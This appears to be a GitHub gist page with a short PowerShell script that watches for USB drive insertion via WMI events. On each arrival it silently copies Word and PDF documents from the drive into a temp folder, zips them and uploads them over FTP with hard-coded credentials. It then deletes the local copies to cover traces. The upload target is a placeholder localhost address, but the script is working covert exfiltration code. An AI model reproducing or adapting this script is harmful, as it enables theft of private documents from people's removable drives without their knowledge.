Last active
March 30, 2019 16:40
-
-
Save aimproxy/aa394284d088e6d7a13ec3c891e40956 to your computer and use it in GitHub Desktop.
WMI USB Detection Event then copy all files to an FTP Server!
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Register-WmiEvent -Class win32_VolumeChangeEvent -SourceIdentifier volumeChange | |
| do{ | |
| $newEvent = Wait-Event -SourceIdentifier volumeChange | |
| $eventType = $newEvent.SourceEventArgs.NewEvent.EventType | |
| $eventTypeName = switch($eventType) | |
| { | |
| 1 {"Configuration changed"} | |
| 2 {"Device arrival"} | |
| 3 {"Device removal"} | |
| 4 {"docking"} | |
| } | |
| if ($eventType -eq 2) | |
| { | |
| $driveLetter = $newEvent.SourceEventArgs.NewEvent.DriveName | |
| $driveLabel = ([wmi]"Win32_LogicalDisk='$driveLetter'").VolumeName | |
| if ($driveLetter) | |
| { | |
| $parent = [System.IO.Path]::GetTempPath() | |
| $name = [System.IO.Path]::GetRandomFileName() | |
| New-Item -Path $parent -Name $name -ItemType "directory" | |
| $out = $parent + $name | |
| Get-ChildItem -Path $driveLetter -Include *.doc,*.docx,*.pdf -Recurse | Copy-Item -Destination $out | |
| $toZip = $parent + $name + "-goback.zip" | |
| Add-Type -assembly "system.io.compression.filesystem" | |
| [io.compression.zipfile]::CreateFromDirectory($out, $toZip) | |
| $ftp = "ftp://me:123@127.0.0.1/destziparrival" | |
| $webclient = New-Object -TypeName System.Net.WebClient | |
| $webclient.UploadFile("$ftp/$name.zip", $toZip ) | |
| $webclient.Dispose() | |
| Remove-Item $out -Recurse -Confirm:$false -Force | |
| Remove-Item $toZip -Recurse -Confirm:$false -Force | |
| } | |
| } | |
| Remove-Event -SourceIdentifier volumeChange | |
| } while (1-eq1) | |
| Unregister-Event -SourceIdentifier volumeChange |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment